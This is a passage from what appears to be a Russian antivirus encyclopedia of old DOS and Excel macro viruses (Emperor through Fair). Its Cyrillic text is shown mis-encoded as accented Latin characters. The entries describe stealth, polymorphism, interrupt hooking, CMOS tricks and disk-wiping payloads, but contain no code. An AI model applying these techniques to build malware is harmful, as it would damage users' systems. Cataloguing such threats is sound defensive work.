èñïîëüçóþò òðàññèðîâêó íà÷àëüíûõ áàéò ïðîãðàììû. Ñîäåðæàò òåêñòû: "My
name is Emmie, I am Eddie's sister." è "It'll tire you too much.".
Emperor.FitW.7918 (1,2)
Î÷åíü îïàñíûé ïîëèìîðôíûé ôàéëîâî-çàãðóçî÷íûé ñòåëñ-âèðóñ. Äàííûé âèðóñ
ñîñòîèò, êàê áû, èç äâóõ ÷àñòåé. Ïðè çàïóñêå èíôèöèðîâàííîãî ôàéëà,
ïåðâûì äåëîì âèðóñ çàðàæàåò MBR æåñòêîãî äèñêà (ïðè íàëè÷èè êîíòðîëëåðà
IDE, âèðóñ ïðîãðàììèðóåò åãî ïîðòû ïðè çàïèñè) è óñòàíàâëèâàåò ñâîþ
ðåçèäåíòíóþ êîïèþ â ïàìÿòü (âîçìîæíî â îáëàñòü UMB) è "ïåðåõâàòûâàåò"
INT 21h. Ïðè âûçîâå íåêîòîðûõ ôóíêöèé INt 21h (4Ch, 4B00h, 3Dh, 3Eh)
âèðóñ ïðîèçâîäèò ïîëèìîðôíîå çàðàæåíèå COM è EXE-ôàéëîâ. 1, 3, 5, 7 è 9
÷èñëà ìåñÿöà âèðóñû áëîêèðóþò êëàâèàòóðó (INT 9) è óíè÷òîæàþò
ñîäåðæèìîå âñåõ æåñòêèõ äèñêîâ. Ïðè íàæàòèè íà êëàâèøè âî âðåìÿ äàííîé
àêöèè, âèðóñ âûâîäèò òåêñò:
The "FartStorm" coded by Demon Emperor >Big hello to Cmoskiller&Xorboot<
Are you wild? Hey don't... wait... let us talk... No? Be off lame fuckhead!
Èíôèöèðîâàííûé MBR è "âèðóñíîå ïðîäîëæåíèå",ðàñïîëîæåííîå â 8 ïîñëåäíèõ
ñåêòîðàõ æåñòêîãî äèñêà íå ñîäåðæàò ïðîöåäóð çàðàæåíèÿ ôàéëîâ è ìîãóò
çàðàæàòü òîëüêî çàãðóçî÷íûå ñåêòîðà äèñêîâ. Ïðè çàãðóçêå ñèñòåìû ñ
èíôèöèðîâàííîãî äèñêà, âèðóñ ðàñïîëàãàåò ñâîþ êîïèþ â âåðõíèõ àäðåñàõ
ïàìÿòè, "æäåò" çàãðóçêè DOS è "ïåðåõâàòûâàåò" INT 13h (îïåðàöèè ñ
äèñêîì). Ïðè îáðàùåíèè ê äèñêàì âèðóñ çàðàæàåò èõ. Â MBR æåñòêîãî äèñêà
çàïèñûâàåòñÿ ïîëèìîðôíîçàøèôðîâàííûé âèðóñíûé çàãðóç÷èê.  çàãðóçî÷íûå
ñåêòîðà äèñêåò âèðóñ çàïèñûâàåò òàêæå ïîëèìîðôíûé çàãðóç÷èê, íî òîëüêî
äàííûé êîä íå çàøèôðîâàí, à "íàïîëíåí" "ìóñîðíûìè" èíñòðóêöèÿìè, ò.å.,
"ïîëåçíûå" êîìàíäû ïåðåìåæàþòñÿ "áåñïîëåçíûìè" êîìàíäàìè. 8 ñåêòîðîâ
ñâîåãî êîäà è îðèãèíàëüíûé çàãðóçî÷íûé ñåêòîð ôëîïïè-äèñêà âèðóñ
çàïèñûâàåò íà äîïîëíèòåëüíóþ, îòôîðìàòèðîâàííóþ èì, äîðîæêó. Äàííûå
âèðóñû "ïåðåæèâàþò" ïåðåçàãðóçêó ñèñòåìû ñ "÷èñòîé" ñèñòåìíîé äèñêåòû,
ìàíèïóëèðóÿ ñ äàííûìè CMOS-ïàìÿòè, òàêæå, êàê è âèðóñ Mammoth.6000.
Äàííûå âèðóñû, âèäèìî, ïðèíàäëåæàò "ïåðó" àâòîðà âèðóñà Mammoth.6000.
Âèðóñû ñîäåðæàò òåêñò "Fart in the wind".
Emperor.Hare.7610, 7750, 7786
Îïàñíûå ôàéëîâî-çàãðóçî÷íûå ïîëèìîðôíûå âèðóñû. Ïðè çàðàæåíèè MBR
óíè÷òîæàþò òàáëèöó ðàçäåëîâ äèñêà (partition table),ïîýòîìó êîä äàííîãî
âèðóñà íåëüçÿ óäàëÿòü êîìàíäîé "FDISK /MBR". Ïðè íàõîæäåíèè ñòðîêè
"WIN=" â îáëàñòè îêðóæåíèÿ (environment) âèðóñ óíè÷òîæàåò ôàéë
\SYSTEM\IOSUBSYS\HSFLOP.PDR â êàòàëîãå WINDOWS. Âèðóñû îðèãèíàëüíûì
ñïîñîáîì ãåíåðèðóþò ñâîé ïîëèìîðôíûé êîä. Ïðè çàðàæåíèè MBR âèðóñû
çàïèñûâàþò â ïîñëåäíèé ñåêòîð äèñêà ñëó÷àéíûå äàííûå è íèêîãäà ïîòîì
ýòè äàííûå íå èçìåíÿþò. Äàííûé ñåêòîð ñëóæèò â äàëüíåéøåì äëÿ âèðóñà,
êàê ïîñòàâùèê ñëó÷àéíûõ çíà÷åíèé äëÿ ãåíåðàòîðà ñëó÷àéíûõ ÷èñåë. Ïðè
çàðàæåíèè îáúåêòîâ íà âõîä ãåíåðàòîðà ïîëèìîðôíîãî êîäà ïîñòóïàþò îäíè
è òå æå çíà÷åíèÿ - â ðåçóëüòàòå âñåãäà ãåíåðèðóåòñÿ îäèí è òîò æå êîä.
Ò.å., íà îäíîì êîìïüþòåðå âñå èíôèöèðîâàííûå ôàéëû áóäóò èìåòü
îäèíàêîâûå âèðóñíûå ðàñøèôðîâùèêè è êëþ÷è, ñ ïîìîùüþ êîòîðûõ çàøèôðîâàí
âèðóñíûé êîä. 22 àâãóñòà è 22 ñåíòÿáðÿ âèðóñû âûâîäÿò íà ýêðàí òåêñòû:
Emperor.Hare.7610:
"HDEuthanasia" by Demon Emperor: Hare Krsna, hare, hare...
Emperor.Hare.7750:
"HDEuthanasia-v2" by Demon Emperor: Hare Krsna, hare, hare...
Emperor.Hare.7786:
"HDEuthanasia-v3" by Demon Emperor: Hare Krsna, hare, hare...
è óíè÷òîæàþò ñîäåðæèìîå æåñòêîãî äèñêà.
EncePhalyt
Î÷åíü îïàñíûé Boot-âèðóñ. Íå ñîõðàíÿåò îðèãèíàëüíûå MBR è Boot-ñåêòîðà
äèñêåò ïðè çàðàæåíèè. Â êîíöå êîäà ñîäåðæèò ñâîå çàøèôðîâàííîå (NOT
BYTE PTR) èìÿ.
EndOf.783, 788
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ñîäåðæàò ñòðîêó "end of".
Enola.1183
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Óñòàíàâëèâàåò ñâîþ ðåçèäåíòíóþ êîïèþ â
âåðõíèå àäðåñà ïàìÿòè, "ïåðåõâàòûâàåò" INT 21h, 27h, 2Fh, "æäåò" âûçîâà
INT 27h èëè ôóíêöèè 31h INT 21h(çàâåðøèòü ðàáîòó è îñòàòüñÿ ðåçèäåíòíî)
è ïåðåìåùàåò ñâîé êîä â îáëàñòü ïàìÿòè, ñëåäóþùåé ñðàçó çà ïðîãðàììîé,
îñòàþùåéñÿ ðåçèäåíòíî â ïàìÿòè. Ïðåïÿòñòâóåò ðàáîòå MS-Windows â
ðàñøèðåííîì (enhanced mode) ðåæèìå. Ñîäåðæèò òåêñòû "Enola Gay
ver.2.01 (C) 1994 by HPR Lab.", "Accidents newer happen...".
ErasePT.512
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ïîèñê è çàðàæåíèå *.EXE ôàéëîâ
íà òåêóùåì äèñêå, êðîìå ôëîïïè-äèñêîâ. Âíåäðÿåò â MBR êîä, êîòîðûé
ïîñëå 207 çàãðóçîê ñ æåñòêîãî äèñêà óíè÷òîæàåò èíôîðìàöèþ î ðàçäåëàõ
æåñòêîãî äèñêà (Partition Table). Èñïðàâëåíèå òàêîãî MBR íå âñåãäà
ïðåäñòàâëÿåòñÿ âîçìîæíûì.
Ester
Îïàñíûé çàãðóçî÷íûé âèðóñ.Îðèãèíàëüíûé MBR æåñòêîãî äèñêà íå ñîõðàíÿåò.
Ïðè çàðàæåíèè äèñêà B: ïûòàåòñÿ ïðîèçâåñòè çàïèñü íà äèñê A:.
Evc.161
Îïàñíûé ðåçèäåíòíûé çàìåùàþùèé âèðóñ. 5 ÷èñëà âûâîäèò òåêñòîâóþ ñòðîêó
"MaKe ViRii oUT T aSS". Èìååòñÿ òàêæå òåêñò "EVC 1.0".
Evgenich.161
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "Evgenich".
Evolution.2761, 2770
Î÷åíü îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå ñòåëñ-âèðóñû. Ðàçìåùàþò ñâîþ TSR-
êîïèþ â îáëàñòè UMB èëè â âåðõíèõ àäðåñàõ îñíîâíîé ïàìÿòè.
Ïåðåõâàòûâàþò INT 09, 13h, 21h. Ïðè êàæäîì 256 âûçîâå INT 13h ñ AH=2
(÷òåíèå ñåêòîðîâ) èëè AH=3 (çàïèñü ñåêòîðîâ) âèðóñû ñëó÷àéíûì îáðàçîì
èçìåíÿþò ñëó÷àéíûé áèò â áóôåðå äàííûõ ES:BX. Ïðè îòêðûòèè (f. 3Dh INT
21h) èíôèöèðîâàííûõ ôàéëîâ ïðè àêòèâíûõ ðåçèäåíòíûõ âèðóñàõ, âèðóñû
óäàëÿþò ñâîé êîä èç äàííûõ ôàéëîâ, èñïîëüçóÿ ñâîåîáðàçíûé
ñòåëñ-àëãîðèòì. Âèðóñû ÷èòàþò çàðàæåííûé ôàéë â ïàìÿòü è òðàññèðóþò
èíñòðóêöèè ïîëèìîðôíîãî ðàñøèôðîâùèêà. Ïîñëå ðàñøèôðîâêè âèðóñû
óñòàíàâëèâàþò îðèãèíàëüíûå, ðàíåå çàøèôðîâàííûå, ñëóæåáíûå çíà÷åíèÿ
çàãîëîâêà EXE-ôàéëà è âîññòàíàâëèâàþò îðèãèíàëüíóþ äëèíó ôàéëà. Ïðè
çàêðûòèè (f. 3Eh INT 21h) äàííîãî ôàéëà âèðóñû ñíîâà çàðàæàþò åãî.
Âèðóñû èñïîëüçóþò êîìàíäû 386 ïðîöåññîðà. Ïðè óñòàíîâêå ñâîåé
ðåçèäåíòíîé êîïèè âèðóñû ïðîâåðÿþò - íàõîäèòñÿ ëè ïðîöåññîð â
çàùèùåííîì èëè ðåàëüíîì ðåæèìàõ ðàáîòû. Åñëè ïðîöåññîð ðàáîòàåò â
çàùèùåííîì ðåæèìå, òî âèðóñû ïûòàþòñÿ óñòàíàâëèâàòü ñâîþ TSR-êîïèþ â
îáëàñòü UMB èëè â âåðõíèå àäðåñà ïàìÿòè, êàê îáû÷íûå ðåçèäåíòíûå
âèðóñû. Åñëè æå i386 íàõîäèòñÿ â ðåàëüíîì ðåæèìå ðàáîòû (EMM386, QEMM,
MS-Windows, OS/2,.. íå óñòàíîâëåíû), òî âèðóñû óñòàíàâëèâàþò òàáëèöó
âåêòîðîâ ïðåðûâàíèé, íàõîäÿùóþñÿ ïî àäðåñó 0000:03FF â äåñêðèïòîðíóþ
òàáëèöó ïðåðûâàíèé IDT, íàõîäÿùóþñÿ â çàðåçåðâèðîâàííîé âèðóñàìè
ïàìÿòè, ïîñðåäñòâîì êîìàíäû i386 - LIDT.  äàííîì ñëó÷àå IDT ÿâëÿåòñÿ
ïðÿìîé çàìåíîé òàáëèöû âåêòîðîâ ïðåðûâàíèé i8086. È ïðîöåññîð i386 ïðè
âûçîâå ëþáîãî ïðåðûâàíèÿ èñïîëüçóåò àäðåñ ïðåðûâàíèÿ èç IDT,
íàõîäÿùåéñÿ â òåëàõ âèðóñîâ Evolution. Ðåàëüíóþ òàáëèöó âåêòîðîâ
ïðåðûâàíèé ìîæíî "çàáèòü" íóëÿìè, íî ñèñòåìà áóäåò ïðåêðàñíî ðàáîòàòü,
îðèåíòèðóÿñü íà IDT.  äàííîì ñëó÷àå îïðåäåëèòü íàëè÷èå âèðóñîâ â
ïàìÿòè î÷åíü òðóäíî, ò.ê., îïðåäåëåíèå àäðåñîâ ïåðåõâà÷åííûõ âèðóñàìè
ïðåðûâàíèé ïîñðåäñòâîì ïðÿìîãî ÷òåíèÿ èõ çíà÷åíèé èç òàáëèöû âåêòîðîâ
ïðåðûâàíèé íå ïðåäîñòàâëÿåòñÿ âîçìîæíûì. Èíîãäà ïðè íàæàòèè íà êëàâèøè
CTRL, ALT èëè DEL âèðóñû ìîãóò âûâåñòè ñîîáùåíèÿ (ïåðâîå ñîîáùåíèå íà
êèòàéñêîì ÿçûêå):
Evolution.2761 -
-=¨ðñîÇú[þ†Ðô/DÀÕÐrv¾ÜÞÇÇ»óѸý1'oÓÞÖßa¹k \è÷ÍܸDec 1993ÜÆ6-
Evolution.2770 -
-=¨ Evolution 2001 Virus was done by lord Salivantis - Nov/Dec 1993 ¨=-
ExcelMacro - âèðóñû
Âèðóñû, çàðàæàþùèå òåêñòîâûå ôàéëû-òàáëèöû â ôîðìàòå Microsoft Excel.
Çàðàæåíèå ñèñòåìû âèðóñàìè ïðîèñõîäèò ïðè îòêðûòèè íà ðåäàêòèðîâàíèå
çàðàæåííûõ ôàéëîâ-òàáëèö. Ïðè îòêðûòèè ôàéëà-òàáëèöû MS Excel âûçûâàåò,
íàõîäÿùèåñÿ â ýòèõ òàáëèöàõ âèðóñíûå ìàêðîñû, êîòîðûå íàïèñàíû íà ÿçûêå
Visual Basic è â äàëüíåéøåì ìîãóò áûòü îïðåäåëåíû, êàê ãëîáàëüíûå
ìàêðîñû. Äàííûå ìàêðîñû ïðîèçâîäÿò êîïèðîâàíèå âèðóñíîãî òåëà -âèðóñíûõ
ìàêðîñîâ ïðè ñîõðàíåíèè "ñòàðûõ òàáëèö" èëè âíîâü ñîçäàâàåìûõ ÷åðåç
êîìàíäó "Save As" èëè "Save". Òàêæå äàííûå âèðóñû ìîãóò ïðîèçâîäèòü
ïîèñê òàáëèö â ôîðìàòå MS-Excel è ïðîèçâîäèòü â íèõ çàïèñü âèðóñíûõ
ìàêðîñîâ. Ïðè âûõîäå èç MS-Excel ïðîèñõîäèò àâòîìàòè÷åñêàÿ çàïèñü
âèðóñíûõ ãëîáàëüíûõ ìàêðîñîâ â XLS-ôàéë (êàê ïðàâèëî, ýòî ôàéë
PERSONAL.XLS). Òàêèì îáðàçîì, ïðè ñëåäóþùåì ñòàðòå MS-Excel ñíîâà à
àâòîìàòè÷åñêè çàãðóçèò âèðóñíûå ãëîáàëüíûå ìàêðîñû èç ôàéëà ãëîáàëüíûõ
ìàêðîñîâ PERSONAL.XLS.
ExcelMacro.Legend
Íåîïàñíûé ìàêðî-ñòåëñ-âèðóñ. Óäàëÿåò ïóíêò ìåíþ "Tools|Macro". Åñëè
UserName="Pyro" è OrganizationName="VBB", òî âèðóñ ïðåêðàùàåò ðàáîòó è
ôàéëû íå çàðàæàåò. Ìîæåò âûâåñòè ñîîáùåíèå:
Pyro [VBB]
You've Been Infected By Legend!
ExcelMacro.Robocop
Îïàñíûé ìàêðî-âèðóñ. Ïåðâîãî ìàðòà âèðóñ ïîìåùàåò â òåêóùóþ òàáëèöó
òåêñò "ROBOCOP Nightmare Joker [SLAM]".
ExcelMacro.Yohimbe
Îïàñíûé ìàêðî-âèðóñ. Çàïèñûâàåò ñòðîêó "Yohimbe" â çàãîëîâîê çàðàæàåìîé
òàáëèöû. Â 16:45 âñòàâëÿåò â òåêóùóþ òàáëèöó êàðòèíêó è òåêñò: FUCK YOU
BUDDY".
ExeBug (1-6)
Î÷åíü îïàñíûå çàãðóçî÷íûå ñòåëñ-âèðóñû. Èíîãäà çàïèñûâàþò â EXE-ôàéëû
òðîÿíñêèé êîä, óíè÷òîæàþùèé ñîäåðæèìîå æåñòêîãî äèñêà. Íåêîòîðûå
ìîäèôèêàöèè âèðóñà ïîñòîÿííî âêëþ÷àåò è âûêëþ÷àåò ïðèçíàê íàëè÷èÿ â
ÊÌÎÏ (CMOS)-ïàìÿòè äèñêîâîäîâ ôëîïïè-äèñêîâ, êîððåêòèðóÿ êîíòðîëüíóþ
ñóììó äàííîé CMOS-ïàìÿòè. Ïðè îáðàùåíèè ê ôëîïïè-äèñêàì âèðóñû
"âêëþ÷àþò" íàëè÷èå äèñêîâîäîâ â CMOS. Ïîñëå îáðàùåíèÿ - "îòêëþ÷àþò". Â
ðåçóëüòàòå, ïðè çàãðóçêå ñèñòåìû ñ "÷èñòîé" ñèñòåìíîé äèñêåòû,
äèñêîâîäû äèñêåò ìîãóò îêàçàòüñÿ "íåóñòàíîâëåííûìè", è ñèñòåìà â òàêîì
ñëó÷àå ïîïûòàåòñÿ çàãðóçèòüñÿ ñ æåñòêîãî èíôèöèðîâàííîãî äèñêà. Âèðóñû
ïåðâûì ïîëó÷àò óïðàâëåíèå, óñòàíîâÿò ñâîè ðåçèäåíòíûå êîïèè â
ïàìÿòü, "âêëþ÷àò" íàëè÷èå äèñêîâîäîâ â CMOS-ïàìÿòè è îòäàäóò óïðàâëåíèå
Boot-ñåêòîðó äèñêà A:. Ò.î., âèðóñû ïîëó÷àò óïðàâëåíèå äàæå ïðè
çàãðóçêå ñ "÷èñòîãî" ñèñòåìíîãî ãèáêîãî äèñêà! ExeBug (6) áëîêèðóåò
âêëþ÷åíèå íåêîòîðûõ ãðàôè÷åñêèõ âèäåîðåæèìîâ, ñîäåðæèò çàøèôðîâàííûé
òåêñò "Antigame from The Rat".
ExeHeader - âèðóñû
Âèðóñû, âíåäðÿþùèå ñâîé êîä â çàãîëîâîê (header) EXE-ôàéëîâ. Íåêîòîðûå
èç ýòèõ âèðóñîâ ïåðåâîäÿò ôàéëû èç ôîðìàòà EXE â COM çàìåíîé ñèãíàòóðû
"MZ" íà JUMP. Íå èçìåíÿþò äëèíû ôàéëà.
ExeHeader.396
Ïåðèîäè÷åñêè óíè÷òîæàåò ñîäåðæèìîå 10 ñåêòîðîâ, íà÷èíàÿ ñ 7 ñåêòîðà
0 öèëèíäðà 4 ãîëîâêè ïåðâîãî æåñòêîãî äèñêà.
ExeHeader.3E
Çàïèñûâàåò ñâîé êîä â îáëàñòü ñòàðòîâîãî êîäà èíôèöèðóåìîãî EXE-ôàéëà,
ïåðåíåñÿ ïðîãðàììíûé êîä â îáëàñòü çàãîëîâêà EXE-ôàéëà. Çàðàæàåò EXE-
ôàéëû ïðè èõ çàêðûòèè (f.3Eh INT 21h) Ñîäåðæèò òåêñòû "3E", "EXE".
ExeHeader.Andryushka (1,2)
Ðàáîòîñïîñîáíû òîëüêî íà XT. Ñîäåðæàò òåêñòû "Copyright (c) 1992 by
Àíäðþøêà", "Mz1" èëè "MzExe".
ExeHeader.ATCorp
Ñîäåðæèò òåêñò "(c) AT Corp. 1994".
ExeHeader.Clust
Çàøèôðîâàííûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêè "[Clust2]" è
"JT / TridenT".
ExeHeader.Dina.271, 283
Ñîäåðæàò òåêñò "Dina v4.2r" èëè "Dina v4.4r".
ExeHeader.Dragon
Èíñòàëëèðóåòñÿ â ïàìÿòü è âíåäðÿåòñÿ â öåïî÷êó äèñêîâûõ äðàéâåðîâ.
Ñîäåðæèò ñòðîêó "DRAGON-2 Anti".
ExeHeader.Em
Ñîäåðæèò ñòðîêó "EM".
ExeHeader.Funked (1,2)
Íåîïàñíûå øèôðîâàííûå ðåçèäåíòíûå ñòåëñ-âèðóñû. Òðàññèðóþò INT 13h è
âêëèíèâàþòñÿ â öåïî÷êó îáðàáîò÷èêîâ INT 13h. Ñâîþ TSR-êîïèþ ðàñïîëàãàþò
â îáëàñòè HMA. Ïîñëå óñòàíîâêè TSR-êîïèè âèðóñû óäàëÿþò ñâîé êîä èç
ñòàðòîâàâøåãî èíôèöèðîâàííîãî ôàéëà. Â äàëüíåéøåì âèðóñû ñêðûâàþò ñâîå
ïðèñóòñòâèå â çàðàæåííûõ EXE-ôàéëàõ.
ExeHeader.Gregory
Ïûòàåòñÿ çàìåñòèòü ñîáîé âèðóñ ExeHeader.394. Ñîäåðæèò òåêñò
"<* Ãðèãîðèé Á.Ñ. C-2.3 *>".
ExeHeader.Hobbit
Ñîäåðæèò ñòðîêó " HOBBIT ".
ExeHeader.I03
Îïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò EXE-ôàéëû, âíåäðÿÿ ñâîé êîä â
çàãîëîâîê EXE-ôàéëà, â îáëàñòü íåèñïîëüçóåìûõ ýëåìåíòîâ òàáëèöû
ïåðåìåùàåìûõ ñèìâîëîâ. Èçìåíÿåò ðàçìåð çàãîëîâêà EXE-ôàéëà (Header
Size, ñìåùåíèå +8), íå ñîõðàíÿÿ îðèãèíàëüíîå çíà÷åíèå, è â
îñâîáîäèâøååñÿ ìåñòî çàïèñûâàåò ñâîé âèðóñíûé êîä. Â ñîîòâåòñòâèè ñ
ýòèì êîððåêòèðóåò òàáëèöó ïåðåìåùàåìûõ ñèìâîëîâ (Relocation Table).
Ò.ê., âèðóñ íå ñîõðàíÿåò çíà÷åíèå ðàçìåðà çàãîëîâêà EXE-ôàéëà, òî
ïîëíîå âîññòàíîâëåíèå èíôèöèðîâàííîãî ôàéëà íåâîçìîæíî, íî âåðîÿòíîñòü
ðàáîòîñïîñîáíîñòè ïðîãðàììû ïîñëå ëå÷åíèÿ - äîâîëüíî âûñîêà.  òåëå
âèðóñà èìååòñÿ ñòðîêà "~I~03".
ExeHeader.Kibina.390, 398
Îïàñíûå ðåçèäåíòíûå âèðóñû. Âíåäðÿþòñÿ â äèñêîâûé áóôåð è ïåðåõâàòûâàþò
INT 13h. 26 àïðåëÿ ïðè çàïèñè ñåêòîðîâ ÷åðåç INT 13h (AH=3) âèðóñû
çàïèñûâàþò â äàííûå ñåêòîðà ÷àñòü ñâîåãî êîäà, íà÷èíàþùèéñÿ ñ òåñòîâîé
ñòðîêè "Olya Kibina".
ExeHeader.Louse
Íåîïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ. Ñîäåðæèò òåêñò "LOUSE 1.0 (C) VANO".
ExeHeader.Mike.252, 256
Ñîäåðæèò ñòðîêó "(c) MIKE.", êîòîðàÿ èñïîëüçóåòñÿ â âèðóñíîì êîäå, êàê
èíñòðóêöèè àññåìáëåðà. ExeHeader.Mike.256 òàêæå ñîäåðæèò ñòðîêó "Hi".
ExeHeader.Ming
Èíîãäà âûâîäèò íà ýêðàí òåêñò:
Written By Crazy Lord (Ming)
Made In Hong Kong
ExeHeader.Nla
Îïàñíûé âèðóñ. Ðàçðóøàåò ARJ-àðõèâû, çàïèñûâàÿ â íèõ, ïî ñìåùåíèþ +0Eh
2 ñëó÷àéíûõ áàéòà. Ñîäåðæèò ñòðîêó "NLA".
ExeHeader.Pure.427, 441 (1-3)
Íàïèñàíû î÷åíü îðèãèíàëüíî. ExeHeader.Pure.427 ñîäåðæèò èíòåðåñíûå
ïðèåìû, íàïðàâëåííûå ïðîòèâ îòëàä÷èêîâ.
ExeHeader.Renegade (1,2)
Èçëå÷èâàåò ôàéëû îò âèðóñà ExeHeader.Hobbit è çàïèñûâàåò ñåáÿ âìåñòî
íåãî. Ñîäåðæèò ñòðîêó "Renegade".
ExeHeader.SkidRow.415, 418, 427, 432
Ðàñïîëàãàþò ñâîþ TSR-êîïèþ â îäíîì èç ñèñòåìíûõ áóôåðîâ DOS è
ïåðåõâàòûâàþò INT 13h. Åñëè çíà÷åíèå äíÿ ñîâïàäàåò ñî çíà÷åíèåì ìåñÿöà
âûâîäÿò â âåðõíåì ïðàâîì óãëó òåêñò:
ExeHeader.SkidRow.415, 427: This is Skid-Row Virus
Written by Dark Slayer
* in Keelung. Taiwan *
ExeHeader.SkidRow.432: This is Skid-Row Virus
Written by Dark Slayer
% in Keelung. Taiwan %
ExeHeader.SkidRow.418 ïðè ÷òåíèè è çàïèñè ñâîåãî êîäà â ñåêòîðà
æåñòêîãî äèñêà èñïîëüçóåò ïðîãðàììèðîâàíèå IDE-êîíòðîëëåðà.
ExeHeader.Sot
Ñîäåðæèò òåêñòîâóþ ñòðîêó "Sot".
ExeHeader.TheRat
Îïàñíûé âèðóñ, ìîæåò ðàçðóøèòü íåêîòîðûå ôàéëû èç-çà îøèáêè. Ñîäåðæèò
ñòðîêó "The Rat, Sofia". Ðàçìåùàåò ñâîþ ðåçèäåíòíóþ êîïèþ â îáëàñòè
ñòåêà DOS.
ExeHeader.Vvm.204, 205 (1,2)
Ñîäåðæàò ñòðîêó "(C)VVM*".
ExeHeader.Vvm.207
Ñîäåðæèò ñòðîêó "XAM".
Exp.1617
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè îòêðûòèè èíôèöèðîâàííîãî ôàéëà âèðóñ
óäàëÿåò ñâîé êîä èç äàííîãî ôàéëà. 24 ÿíâàðÿ óíè÷òîæàåò ïåðâûå ñåêòîðà
ïåðâîãî æåñòêîãî äèñêà è âûâîäèò òåêñò "Experimental virus v1.0 by TC
(Spain 1994).".
Explosion.1000
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà, 7 ÷èñëà, âûâîäèò íà ýêðàí òåêñò:
Dis is one virus.
Leave the room IMMEDIATLY !!!
Your PC is about to EXPLODE within 20 sec !
00
EXPLOSION
What did you expect ?
Exterminate.1632
Íåîïàñíûé ðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. Ïûòàåòñÿ ðàçìåñòèòü ñâîþ
TSR-êîïèþ â îáëàñòè UMB. Ìîæåò ïåðåõâàòèòü INT 21h "âðåçêîé" 5 áàéò
"äëèííîãî" JUMP íà âèðóñíûé îáðàáîò÷èê INT 21h. Ïîñëå àïðåëÿ
ïåðèîäè÷åñêè âûâîäèò èñ÷åçàþùåå ñîîáùåíèå:
---Exterminate--- virus from "Divide by 0" group
Written by A.B.C. launch:17.03.94
Members of D.B.0. grou[4ëëºÃëêëZ¸þëþëÛ4ëëºÃÖ÷ʬ
Fab.1755
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Óïàêîâàí LZEXE. Ðåçèäåíòíàÿ êîïèÿ âèðóñà
"õðàíèò" â ïàìÿòè è ñâîþ íåðàñïàêîâàííóþ êîïèþ. Ïðè çàðàæåíèè EXE-
ôàéëîâ âèðóñ ñîçäàåò ôàéë $$$$$$$$, â êîòîðûé çàïèñûâàåò ñâîþ êîïèþ,
óïàêîâàííóþ LZEXE, à çàòåì äîïèñûâàåò è âåñü ôàéë-æåðòâó. Îðèãèíàëüíûé
ôàéë óäàëÿåòñÿ, à ôàéëó $$$$$$$$,ñîäåðæàùåìó êîïèþ âèðóñà ïðèñâàèâàåòñÿ
èìÿ îðèãèíàëüíîãî ôàéëà. Ïðè íåâîçìîæíîñòè îòêðûòü ôàéë, èç êîòîðîãî
ñòàðòîâàë âèðóñ, äëÿ ñ÷èòûâàíèÿ â ïàìÿòü êîäà ïðîãðàììû, âèðóñ âûâîäèò
òåêñò "Error in EXE file". Ñîäåðæèò ñòðîêó "*FAB*".
Face.414
Ðàçìåùàåò ñâîþ TRS-êîïèþ â îáëàñòü ïàìÿòè, ñîäåðæàùóþ 414 ïîâòîðÿþùèõñÿ
íóëåâûõ áàéò. Ïåðåõâàòûâàåò INT 21h è çàðàæàåò ôàéëû ïðè èõ ñîçäàíèè.
Èíîãäà èçìåíÿåò â âûâîäèìîì íà ýêðàí òåêñòå íåêîòîðûå ñèìâîëû íà ñèìâîë
ñ êîäîì ASCII 01 ().
Face.2521
Íåîïàñíûé ðåçèäåíòíûé âèðóñ, çàðàæàþùèé COM, EXE è SYS-ôàéëû. Ïðè
ïåðâîì çàïóñêå èíôèöèðîâàííîãî COM èëè EXE-ôàéëà, âèðóñ ïðîèçâîäèò
ïîèñê íà òåêóùåì äèñêå ôàéëà CONFIG.SYS. Åñëè äàííûé ôàéë íàéäåí, òî
âèðóñ èùåò â äàííîì ôàéëå ïåðâûé çàãðóæàåìûé ôàéë ñ ðàñøèðåíèåì SYS è
çàðàæàåò ýòîò ôàéë, åñëè îí åùå íå èíôèöèðîâàí. Ïîñëå ÷åãî âèðóñ îòäàåò
óïðàâëåíèå ïðîãðàììå - âèðóñîíîñèòåëþ. Ïðè çàãðóçêå â ïàìÿòü
èíôèöèðîâàííîãî SYS-ôàéëà, âèðóñ ðàçìåùàåò ñâîþ êîïèþ â ïàìÿòè è
ïåðåõâàòûâàåò INT 21h. Ïðè çàïóñêå COM è EXE-ôàéëîâ âèðóñ çàðàæàåò èõ.
Èíîãäà âèðóñ ñòèðàåò òåêñòîâóþ ñòðîêó "áåãóùèì" ñèìâîëîì ASCII 01 ().
Ñîäåðæèò ñòðîêè "COMMAND.COMEXECOMSPEC=C:\CONFIG.SYS DEVICE".
Faerie.276
Íå çàðàæàåò COMMAND.COM. Èìååòñÿ ñòðîêà "COMMAND.*.COM Faerie".
Fafb.948
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïîñëå óñòàíîâêè â ïàìÿòü ñâîåé ðåçèäåíòíîé
êîïèè, âèðóñ ñàìîñòîÿòåëüíî "èçëå÷èâàåò" ñâîåãî ôàéëà-õîçÿèíà íà äèñêå,
çàïóñêàåò åãî (f.4B00h Int 21h), ïîñëå ÷åãî ïûòàåòñÿ åùå çàðàçèòü *.COM
è *.EXE-ôàéëû â êàòàëîãàõ, äîñòóïíûõ ÷åðåç ïåðåìåííóþ PATH.
Fair.2083 (1,2), 2340
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Fair.2083, ïðè ñòàðòå êàêîé-
òî ïðîãðàììû, (âèðóñû ïðîâåðÿþò çàãîëîâîê ôàéëà) âûäàþò ñîîáùåíèå:
This is an [ illegal copy ] of KeyPress virus remover
System Halted
Fair.2340 èíîãäà ïå÷àòàþò íà ýêðàíå òåêñò "Time Machine, Running.".
Fair.2083 ñîäåðæàò òàêæå ñòðîêó "Eternal Fair".
FairGround.813
